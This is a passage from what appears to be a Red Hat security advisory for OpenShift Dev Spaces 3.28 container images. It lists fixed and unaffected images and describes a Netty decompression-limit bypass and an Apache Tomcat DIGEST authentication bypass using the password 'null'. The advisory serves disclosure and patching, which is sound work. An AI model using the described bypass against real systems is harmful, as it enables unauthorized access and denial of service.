| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x | — |
Vendor Fix
fix
|
Known not affected
49 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64 | — |
Threats
Impact
Important
A flaw was found in Netty. A remote attacker can bypass the configured decompression limit in the HttpContentDecompressor by sending a specially crafted compressed payload using Brotli (br), Zstandard (zstd), or Snappy content encodings. This can lead to unbounded memory allocation, resulting in an out-of-memory Denial of Service (DoS) for the affected system.
7.5 (High)
Affected products
Fixed
12 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x | — |
Vendor Fix
fix
Workaround
|
Known not affected
49 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Apache Tomcat. When DIGEST authentication was configured, any user not known to the configured Realm would be authenticated if they presented the password "null". This allows a remote attacker to bypass security controls.
6.5 (Medium)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64 | — |
Vendor Fix
fix
Workaround
|
|
